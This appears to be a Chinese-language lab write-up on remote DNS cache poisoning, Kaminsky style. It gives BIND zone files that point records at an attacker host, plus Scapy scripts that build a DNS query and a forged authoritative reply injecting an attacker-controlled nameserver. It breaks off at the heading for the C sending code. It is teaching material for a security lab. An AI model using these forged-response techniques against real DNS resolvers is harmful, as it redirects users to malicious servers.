@ IN SOA ns.example.com. admin.example.com. (
2008111001
8H
2H
4W
1D)
@ IN NS ns.attacker32.com.
@ IN A 1.2.3.4
www IN A 1.2.3.5
ns IN A 192.168.230.156
* IN A 1.2.3.4
attacker32.com.zone如下:
$TTL 3D
@ IN SOA ns.attacker32.com. admin.attacker32.com. (
2008111001
8H
2H
4W
1D)
@ IN NS ns.attacker32.com.
@ IN A 192.168.230.156
www IN A 192.168.230.156
ns IN A 192.168.230.156
* IN A 192.168.230.156
重启BIND生效
sudo service bind9 restart
4、在用户机测试 可以看到这个地址是由攻击机指定的
指定权威域名服务器查询,会得到攻击机的地址 这是通过修改配置文件的方式实现了远程DNS中毒攻击
攻击方式实现
实现目标是,当用户访问www.example.com时,重定向到一个恶意的www.example.com
完整的DNS查询过程如下:
example.com名称服务器被缓存情况下的DNS查询过程: 以上这个图,ns.dnslabattacker.net改为ns.attacker32.com
缓存情况下的攻击比较复杂,要拆分成几个阶段 由于这个实验对回复包的速度有很高要求,python的scapy速度慢成功几率为0,而用c来构造发送和响应包程序复杂, 故更好的方案是用scapy来生成包,由c来发送包
实现构造DNS请求
这个请求是从攻击者发往DNS服务器的
from scapy.all import *
target_name="xxxxx.example.com"
ip = IP(dst='192.168.230.154',src='192.168.230.156')
udp = UDP(dport=53,sport=1234,chksum=0)
qds = DNSQR(qname=target_name)
dns = DNS(id=0xaaaa,qr=0,qdcount=1,ancount=0,nscount=0,arcount=0,qd=qds)
Querypkt= ip/udp/dns
with open('query.bin','wb')as f:
f.write(bytes(Querypkt))
由于请求中xxxxx的名字需要改,我们要知道这个名字在二进制文件中的地址,用bless可以看到在0x29,10进制为41
伪造DNS回复包
from scapy.all import *
targetName="xxxxx.example.com"
targetDomain="example.com"
attackerNS ="ns.attacker32.com"
dstIP="192.168.230.154"
srcIP='192.168.230.156'
ip = IP(dst=dstIP,src=srcIP,chksum=0)
udp = UDP(dport=33333,sport=53,chksum=0)
Qdsec = DNSQR(qname=targetName)
Ansec = DNSRR(rrname=targetName,type='A',rdata='1.2.3.4',ttl=259200)
NSsec = DNSRR(rrname=targetDomain,type='NS',rdata=attackerNS,ttl=259200)
dns = DNS(id=0xAAAA,aa=1,rd=1,qr=1,qdcount=1,ancount=1,nscount=1,arcount=0,qd=Qdsec,an=Ansec,ns=NSsec)
Replypkt = ip/udp/dns
with open('reply.bin','wb') as f:
f.write(bytes(Replypkt))
同理,找到响应包中transaction ID为0xAAAA的地址为28, 两个二级域名的地址分别为41、64
c语言攻击代码